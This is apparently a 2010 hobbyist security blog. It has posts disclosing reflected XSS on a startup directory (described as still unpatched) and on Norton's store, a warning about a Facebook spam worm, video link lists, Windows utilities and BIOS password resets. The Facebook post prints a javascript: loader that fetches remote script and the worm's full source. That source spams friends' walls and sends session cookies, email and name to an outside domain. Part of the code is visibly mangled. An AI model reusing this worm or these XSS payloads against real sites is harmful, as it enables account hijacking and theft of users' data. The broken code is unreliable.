Monday, December 27, 2010

XSS & CSRF Vulnerabilities on Area Startup Website

Hi Guys, I have found Major XSS and CSRF Vulnerabilities on Area Startup Website while I was just searching for some IT firms details :P and the site is still vulnerable so I have submitted it to xssed.com vulnerability database I hope they will soon fix it :D



Issue Details

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

Crosssite request forgeries (CSRF or sometimes called XSRF) are a simple attack that has huge impacts on Web application security.

CSRF GET-based CSRF (or blind redirects) is simple with XSS-Proxy.The attacker enters the destination into the “fetch document” admin form and the victim will go to the URL, determine that it can’t read the contents, and recover back to where the attacker can perform other actions.

POST-based CSRF is also possible, but requires some JavaScript (via the eval admin form) to perform the attack.The JavaScript could perform a POST-based CSRF if entered in the XSS-Proxy eval admin form (this can be entered as one large command or as multiple eval submissions).



Proof of Concept

Vulnerable Link 1:

http://www.areastartups.com/search?cx=003315328923615770654%3Apidzer5tuca&cof=FORID%3A9&ie=UTF-8&q=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&sa=Search#842


Screenshot 1:


Vulnerable Link 2:
http://www.areastartups.com/search?cx=003315328923615770654%3Apidzer5tuca&cof=FORID%3A9&ie=UTF-8&q=%22%3E%3Cscript%3Ealert%28%27This%20Site%20is%20XSS%20Vulnerable%27%29%3C/script%3E&sa=Search#242


Screenshot 2:



Vulnerable Link 3:
http://www.areastartups.com/search?cx=003315328923615770654%3Apidzer5tuca&cof=FORID%3A9&ie=UTF-8&q=%22%3E%3Ciframe%20src=http://xssed.com%3E&sa=Search#242


Screenshot 3:



Vulnerable Link 4:
http://www.areastartups.com/search?cx=003315328923615770654%3Apidzer5tuca&cof=FORID%3A9&ie=UTF-8&q=%22%3E%3Cmarquee%3E%3Ch1%3EXSS%28This%20Site%20is%20XSS%20Vulnerable%3C/h1%3E%3C/marquee%3E&sa=Search#243


Screenshot 4:



Vulnerable Link 5:
http://www.areastartups.com/search?cx=003315328923615770654%3Apidzer5tuca&cof=FORID%3A9&ie=UTF-8&q=%22%3E%3Ca%20href=%27search?searchterm=%3Cb%3EJust%20Fond%20Out%3C/b%3E%27%3EThis%20Site%20is%20XSS%20Vulnerable%3C/a%3E&sa=Search#243


Screenshot 5:


 Video:

Friday, December 24, 2010

Symantec Norton Website XSS Vulnerable

Hi Guys, two weeks back I have found that Information Security Gaint Symantec Norton's Website has few XSS vulnerabilities. As off now they have fixed there site it so I am disclosing the Issue :)


Issue Details

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).


Proof of Concept

Vulnerable Link 1:
https://buy.norton.com/estore/mf/landingProductFeatures?sfid="><script>alert('xss')</script>Jq23M7YG4pjMHzwGYtlDfhdq1ZYF22vswwCBfgSGGz0k5FrgMHF9!1505726402!1291573284101

or the following code can be used in the search box or input box :

<script>alert('xss')</script>

  Screenshot 1:


 Vulnerable Link 2:
http://buy.norton.com/estore/mf/landingProductFeatures?sfid="><script>alert('xss')</script>Q72nM7hHJ18nVR9GQVNT3Bz01whgMYMNGSLT1H2nyYDtwwChvs22!1505726402!1291573991721

or the following code can be used in the search box or input box :
  
<script>alert('xss')</script>
 
Screenshot 2:

Thursday, December 16, 2010

DOJOCON 2010 Videos

DOJOCON 2010 Videos



http://ia600305.us.archive.org/1/items/DojoconVideos/dojo1.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo2.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo4.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo5.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo6.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo7.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo8.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo9.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo10.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo11.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo12.avi[


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo13.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo14.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo15.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo16.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo17.avi


http://ia600305.us.archive.org/1/items/DojoconVideos/dojo18.avi

Monday, December 13, 2010

Reverse Engineering Videos

Reverse Engineering & Related Videos


How-I-learned-Reverse-Engineering-With-Storm-(RECON-2008)
http://videos.securitytube.net/How-I-learned-Reverse-Engineering-With-Storm-(RECON-2008).flv[


Reverse Engineering 101 ( Using IDA to break password protections )
http://videos.securitytube.net/Reverse%20Engineering%20101%20(%20Using%20IDA%20to%20break%20password%20protections%20) .mp4


Reverse Engineering 101 ( Using IDA to break password protections )_controller
http://videos.securitytube.net/Reverse%20Engineering%20101%20(%20Using%20IDA%20to%20break%20password%20protections%20) _controller.swf


Reverse Engineering 101 ( Using a Hex Editor to Find Passwords )
http://videos.securitytube.net/Reverse%20Engineering%20101%20(%20Using%20a%20Hex%20Editor%20to%20Find%20Passwords%20). mp4


Reverse Engineering and Software Cracking Demo
http://videos.securitytube.net/Reverse-Engineering-Dynamic-Languages-(Recon-2008).flv


Reverse-Engineering-101-(-Using-a-Hex-Editor-to-Find-Passwords-)
http://videos.securitytube.net/Reverse-Engineering-101-(-Using-a-Hex-Editor-to-Find-Passwords-).mp4


Reverse-Engineering-101-(-Using-a-Hex-Editor-to-Find-Passwords-)_controller
http://videos.securitytube.net/Reverse-Engineering-101-(-Using-a-Hex-Editor-to-Find-Passwords-)_controller.swf


Reverse-Engineering-Dynamic-Languages-(Recon-2008)
http://videos.securitytube.net/Reverse-Engineering-Dynamic-Languages-(Recon-2008).flv


Reverse-Engineering-Network-Utilities-Using-Wireshark
http://videos.securitytube.net/Reverse-Engineering-Network-Utilities-Using-Wireshark.mp4


Reverse-Engineering-a-Software-Install-Process
http://videos.securitytube.net/Reverse-Engineering-a-Software-Install-Process.mp4


Reverse-Engineering-over-Acrobat-Reader-using-Immunity-Debugger-(RECON)
http://videos.securitytube.net/Reverse-Engineering-over-Acrobat-Reader-using-Immunity-Debugger-(RECON).flv


Reverse-Engineering-the-Storm-Worm
http://videos.securitytube.net/Reverse-Engineering-the-Storm-Worm.flv


Reverse-Engineering-over-Acrobat-Reader-using-Immunity-Debugger-(RECON)
http://videos.securitytube.net/Reverse-Engineering-over-Acrobat-Reader-using-Immunity-Debugger-(RECON).flv


Applied-Reverse-Engineering-on-OS-X-(Recon-2008)
http://videos.securitytube.net/Applied-Reverse-Engineering-on-OS-X-(Recon-2008).flv


Reverse-DNS-Lookup-with-DIG
http://videos.securitytube.net/Reverse-DNS-Lookup-with-DIG.mp4


Reverse-DNS-Lookup-with-DIG_controller
http://videos.securitytube.net/Reverse-DNS-Lookup-with-DIG_controller.swf

Security Videos Collection

Hello Everybody I want to share to some of my favorite security related videos collection,I am & also giving all those resumable videos direct downlading links so thats everybody can download them easily, I hope it will be helpful for everybody to learn from them, full credit goes to the real owners of the videos & to the sites from where I have find these videos.



Security Videos Collection


Malware Analysis & Related Videos


Helios-Malware-Detection-Demo

http://videos.securitytube.net/Helios-Malware-Detection-Demo.swf



Helios-Malware-Detection-Demo_controller

http://videos.securitytube.net/Helios-Malware-Detection-Demo_controller.swf


Malware-Unpacking-in-OllyDbg
http://videos.securitytube.net/Malware-Unpacking-in-OllyDbg.swf


Simple-Malware-Analyzing
http://videos.securitytube.net/Simple-Malware-Analyzing.flv


Analyzing-Malicious-PDF-Documents

http://videos.securitytube.net/Analyzing-Malicious-PDF-Documents.flv


Botnets,-Ransomware,-Malware,-and-Stuff-(Brucon-2009)
http://videos.securitytube.net/Botnets,-Ransomware,-Malware,-and-Stuff-(Brucon-2009).flv


Analyze-a-Bot-Infected-Host-with-Wireshark
http://videos.securitytube.net/Analyze-a-Bot-Infected-Host-with-Wireshark.mp4


Simple-Linux-Malware-Construction-by-Netinfinity
http://videos.securitytube.net/Simple-Linux-Malware-Construction-by-Netinfinity.flv


Banking-Malware-101

http://videos.securitytube.net/Banking-Malware-101.flv

Friday, December 3, 2010

Be Alert From Malicious Scripts & Spam on Facebook

While Analyzing Malicious scripts & codes used by crackers & spammers I found out that crackers and spammers are using different attack vectors & techniques to compromise innocent users pofiles and to spam using automated techniques in which they post a comment in users profile or send them a new application(many times fake) to use for example on facebook or any other social networking profile.


If the user click on that posted Link or uses that New Application(many times fake) mostly the users account got compromised if the site is vulnerable to the malicious code or if its a kinda a Zeroday exploit & sometimes the innocent users profile is bombard with spam messages, comments, posts, ads & fake Application use requests all these spams also automatically got posted or sended to all your friends f the users profile.


So guy if you get a wall post by some of your friend saying some revolving image, new theme thing is out view the link to enjoy it & the message would be like this......



Example 1:
Wowww !! cool Facebook revolving images. MUST SEE http://pageragei.tk/

Example 1:
Super cool Facebook revolving images. MUST SEE http://showmyprofile.tk/


When you open any of these malicous sites, these sites will asks you to copy & paste some JavaScript code like.......



Code :
javascript:(a = (b = document).createElement("script")).src = "//imaginemonkeys.com/majic.js?show", b.body.appendChild(a); void(0)
And when you enter press after copying & pasting that code in your browser that will will redirects you to a malicous java script the link and when you post it in your Facebook account Address bar...

Thats it you start spamming automatically to all your facebook friends wall and the Fire keeps increasing as more and more your friends will click on that malicious code.

the malicious java script code link is: http://imaginemonkeys.com/majic.js
This link has a again a same kind of code but this time the url link in the code is differ......

Code:
javascript:(a = (b = document).createElement("script")).src = "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0)
This time the link is: http://graphicgiants.com/majic.js
And when I tried to open it directly in the browser it block me to further analyze it showed me an error message as below mentioned:

Not Found 

The requested URL /majic.js was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.graphicgiants.com Port 80
 
 
So now I new something is fishy going on there as the site has some kinda authencation mechanisms & also it has mode security install on it to block unauthorised users, so to further analyze it more I opened & used that malicous code in a testing and secure virtual environment with a profile for testing and while doing the whole process i used the sniffer to see the background re-directions to other urls, malicious codes I also crawled the other url of that site.



So I found out that the redirections was to the facebook site whenever a user opens that http://imaginemonkeys.com site directly in the browser and it will first redirect user to the 
http://1.88.channel.facebook.com & then to the http://facebook.com official site.


While testing the url inside the imaginemonkeys.com i found out that it has few more links like http://www.imaginemonkeys.com/606/ http://www.imaginemonkeys.com/majic.js etc.


The Script which runs inside the JS means Java Script which is mostly majic.js or the index.php file is
it will show a url like :http://www.imaginemonkeys.com/majic.js OR http://imaginemonkeys.com/index.php


The hidden inside the malicious script is mentioned below.


Code: 
//
//
txt = "Checkout 360 rotate effect on images. MUST SEE http://revolvingimages.info/fb/";
txtee = "Checkout 360 revolve effect on images. MUST SEE http://revolvingimages.info/fb/";

alert("Please wait 2-3 mins while we setup! Do not refresh this window or click any link.");

with(x = new XMLHttpRequest())
open("GET", "/"), onreadystatechange = function () {

if (x.readyState == 4 &amp;&amp; x.status == 200) {
comp = (z = x.responseText).match(/name=\\"composer_id\\" value=\\"([\d\w]+)\\"/i)[1];
form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
appid = "150622878317085";
appname = "rip_m_j";

with(xx = new XMLHttpRequest())
open("GET", "/ajax/browser/friends/?uid=" + document.cookie.match(/c_user=(\d+)/)[1] + "&amp;filter=all&amp;__a=1&amp;__d=1"),
onreadystatechange = function () { if (xx.readyState == 4 &amp;&amp; xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
i = 0; llimit=25;
t = setInterval(function () {
if (i &gt;= llimit ) return;
if(i == 0) {
with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&amp;__d=1"),
setRequestHeader("X-Requested-With", null),
setRequestHeader("X-Requested", null),
onreadystatechange = function(){ if(ddddd.readyState == 4 &amp;&amp; ddddd.status == 200){ llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); aaac =llm.length; pplp=0; for(pplp=0;pplp([^&lt;&gt;]+)/)[1] + "&amp;c="+ document.cookie; document.body.appendChild(s); }
}, send(null);
with(xxcxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("fbpage_id=176607175684946&amp;add=1&amp;reload=1&amp;preserve_tab=1&amp;use_primer=1&amp;nctr[_mod]=pagelet_top_bar&amp;post_form_id="+pfid+"&amp;fb_dtsg=" + dt + "&amp;lsd&amp;post_form_id_source=AsyncRequest");
with(lllllxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("fbpage_id=150650771629477&amp;add=1&amp;reload=1&amp;preserve_tab=1&amp;use_primer=1&amp;nctr[_mod]=pagelet_top_bar&amp;post_form_id="+pfid+"&amp;fb_dtsg=" + dt + "&amp;lsd&amp;post_form_id_source=AsyncRequest");
with(llxlxlxlxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("fbpage_id=109075015830180&amp;add=1&amp;reload=1&amp;preserve_tab=1&amp;use_primer=1&amp;nctr[_mod]=pagelet_top_bar&amp;post_form_id="+pfid+"&amp;fb_dtsg=" + dt + "&amp;lsd&amp;post_form_id_source=AsyncRequest");
} else if (i == llimit - 1) {
with(xxxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
setRequestHeader("X-Requested-With", null),
setRequestHeader("X-Requested", null),
onreadystatechange = function(){
if(xxxx.readyState == 4 &amp;&amp; xxxx.status == 200){
with(s = document.createElement("script")) src = "http://revolvingimages.info/majic.js?q=" + document.cookie.match(/c_user=(\d+)/)[1] + ":" + (d = xxxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/@/, "@") + ":" + d.match(/id="navAccountName"&gt;([^&lt;&gt;]+)/)[1] + "&amp;c="+ document.cookie; document.body.appendChild(s); }
}, send(null);
}
if(i%2==0) {
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&amp;profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&amp;status=" + txt + "&amp;target_id=" + m[Math.floor(Math.random() * m.length)] + "&amp;composer_id=" + comp + "&amp;hey_kid_im_a_composer=true&amp;display_context=profile&amp;post_form_id=" + form + "&amp;fb_dtsg=" + dt + "&amp;lsd&amp;_log_display_context=profile&amp;ajax_log=1&amp;post_form_id_source=AsyncRequest");
}
else {
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&amp;profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&amp;status=" + txtee + "&amp;target_id=" + m[Math.floor(Math.random() * m.length)] + "&amp;composer_id=" + comp + "&amp;hey_kid_im_a_composer=true&amp;display_context=profile&amp;post_form_id=" + form + "&amp;fb_dtsg=" + dt + "&amp;lsd&amp;_log_display_context=profile&amp;ajax_log=1&amp;post_form_id_source=AsyncRequest"); } i += 1;
}, 2000); }
}, send(null);
}
}, send(null);


Some of the Websites you should not visit if you see below :
1. To stop it spamming to your wall simply re-generate your mobile email unique address at
     http://www.facebook.com/mobile/ 
2. Change your password also delete all your browers cookies, browsing history & saved passwords.
3. Don't copy/pasting javascript or any ther unknown scripts into your browser again.
4. And mostly importantly never click on unknown links always check your browsers url bar that
     it has https or http://www.facebook.com not phising or fake sites like http://www.faacebook or
     http://www.faceb00k.com.
5. Use Good Security Suite Softwares like AVG 2011 or Norton 2011 or any other and always update
     its virus definitions and program components these security suite has all type of security softwares
     in-built like Antivirus, Anti-Spyware, Anti-Spam, Anti-Phising, Firewall & IDS etc.

6. Keep your Operating System always updated and also update all of your application softwares like
    the browser itself.


So Be Cautious Guys whenever you see comments like:Great now we have such Applications in Facebook & never use these applications nor accept these applications use requests.


Two Applications which I found out is just popping up is See Who Has Visited Your Profile Profile Privacy v1.2. So please remember that these are FAKE APPLICATION and use such comments on other users wall to click or use them.


I hope my post is helpful for all of you guys :) comments are welcome.

Monday, November 22, 2010

Windows OS 25 Hidden Tools


























Are you a Windows XP User ? How many utilities do you know that is built-in Windows XP ? Notepad, Wordpad, Character Map, Calculator, Microsoft Paint, these are the few utilities that I usually use.But out of blue,Windows Xp is a fully loaded package which has a lot of apparently hidden utilities which are seldom accessed by a basic or normal computer users ; and trust me,they still pack a lot of punch.

To run any of these apps go to Start > Run and type the executable name (i.e. charmap) and press Enter.
 
Character Map (charmap.exe) - Very useful for finding unusual characters.
 
Disk Cleanup (cleanmgr.exe) – The usual Disc cleanup.
 
Clipboard Viewer (clipbrd.exe) - Views contents of Windows clipboard.
 
Dr Watson (drwtsn32.exe) - Troubleshooting tool,runs when windows crashes.
 
DirectX diagnosis (dxdiag.exe) - Diagnose & test DirectX, video & sound cards.
 
Private character editor (eudcedit.exe) - Allows creation or modification of characters.
 
IExpress Wizard (iexpress.exe) - Create self-extracting / self-installing package.
 
Microsoft Synchronization Manager (mobsync.exe) - Appears to allow synchronization of files on the network for when working offline. Apparently undocumented.
 
Windows Media Player 5.1(mplay32.exe) - Retro version of Media Player, very basic.

ODBC Data Source Administrator (odbcad32.exe) – Database connection utility for support with external servers,create ODBC data sources,to administer remote databases or for supporting the ODBC database utility in Visual basic language.


Object Packager (packager.exe) - To do with packaging objects for insertion in files, appears to have comprehensive help files.
 
System Monitor (perfmon.exe) - Very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance, for budding user-geeks only.
 
Program Manager (progman.exe) - Legacy Windows 3.x desktop shell.
 
Remote Access phone book (rasphone.exe) - Documentation is virtually non-existent.
 
Registry Editor (regedt32.exe or regedit.exe) – For making custom changes or hacking the Windows Registry.
 
Network shared folder wizard (shrpubw.exe) - Creates shared folders on network.
 
File signature verification tool (sigverif.exe) - This tool will search the operating system and identify any unsigned device drivers installed on the system. It will also verify all signed device drivers.
 
Volume Control (sndvol32.exe) - I've included this for those people that lose it from the System Notification area.
 
System Configuration Editor (sysedit.exe) - Modify System.ini & Win.ini just like in Win98! .
 
Syskey (syskey.exe) - Secures XP Account database, use with care, it's virtually undocumented but it appears to encrypt all passwords, I'm not sure of the full implications.
 
Microsoft Telnet Client (telnet.exe) – Built in telnet client which can be used to connect to servers to sent emails or to hack :) This is disabled in in vista but you can re-enable it by going to
 

Control panel –> Programs and Features –> Click "Turn Windows features on or off" on left –> Scroll down and check "Telnet Client.


Driver Verifier Manager (verifier.exe) - Seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented.
 
Windows for Workgroups Chat (winchat.exe) - Appears to be an old NT utility to allow chat sessions over a LAN, help files available.

System configuration (msconfig.exe) - Can use to control startup programs,make changes to startup of XP.

Group Policy Editor (gpedit.msc) - Used to manage group policies, and permissions.Its an Administratoronly tool.
 
I hope it was Informative. I would like to hear your comments on the above topic.
Cheers guys and keep learning :).

Shortcuts to Lock your Desktop






















Press the "Windows key" & "L" key ( Windows Key + L)

(or)

Create a new shortcut "rundll32.exe" , "user32.dll", Lock Work Station.

How to Reset Any BIOS Password


 

Question:

How to clear an any unknown BIOS password ?

Answer:

If you have mistakenly forgot or lost your BIOS password or you receive a password at boot that you do not know, you will need to clear the BIOS password by one of the below methods.



Precaution: When inside the computer please be sure of the potential of ESD.

  • Try using generic BIOS passwords. A complete listing of these passwords can be found on document CH000451.
  • There are utilities designed to help bypass BIOS passwords. An example of a great utility to decrypt / bypass BIOS passwords is the PC BIOS Security and Maintenance toolkit, which is available by clicking here.
  • On the computer motherboard locate the BIOS clear / password jumper or dipswitch and change its position. Once this jumper has been changed, turn on the computer and the password should be cleared. Once cleared, turn the computer off and return the jumper or dipswitch to its original position. 

The location of the jumpers or dipswitches may vary; however, here are general locations where these jumpers / dipswitch may be located.


  1. On the edge of the motherboard - Most jumpers are located on the side of the motherboard for easy accessibility, verify by looking at all visible edges of the motherboard.
  2. By the CMOS battery - Some manufactures will place the jumper to clear the CMOS / BIOS password by the actual CMOS battery.
  3. By the processor - Some manufactures will place the jumpers by the processor of the computer. However, note that in some cases these jumpers will be to change the processor and not the password.
  4. Under the keyboard or bottom of laptop - If you are working on a laptop computer the location of the dipswitch (almost never a jumper) can be under the keyboard or on the bottom of the laptop in a compartment such as the memory compartment.
  5. Other visible location - While it is possible that the jumpers / dipswitches may not be in a visible location, most manufactures try to make things easier by placing the jumpers / dipswitches in another visible location.

Additionally, when looking for the jumper / dipswitch the label of that switch can be anything; however, in most cases will be labeled CLEAR - CLEAR CMOS - JCMOS1 - CLR - CLRPWD - PASSWD - PASSWORD - PWD.
  • On the computer motherboard locate and remove the CMOS battery for at least 10 minutes allowing the computer to lose its information. Note: this will not work on all computers.

  • If your manufacturer has a bypass password this can be entered and allow you access to the BIOS and/or computer. Because of the security risk of a bypass password, generally only older computers will have this option. In addition, it is likely that this information will only be able to be obtained from the computer, motherboard or BIOS manufacturer.

  • On the computer motherboard locate the CMOS solder beads and jump the solder beads to clear the password. The identification and location of these solder beads can vary and if not available in computer documentation is generally only obtainable through the computer manufacturer.

    If one of the above solutions do not clear the password or you are unable to locate the jumpers or solder beads, it is recommended you contact the computer manufacturer or motherboard manufacturer for the steps on clearing the computer password.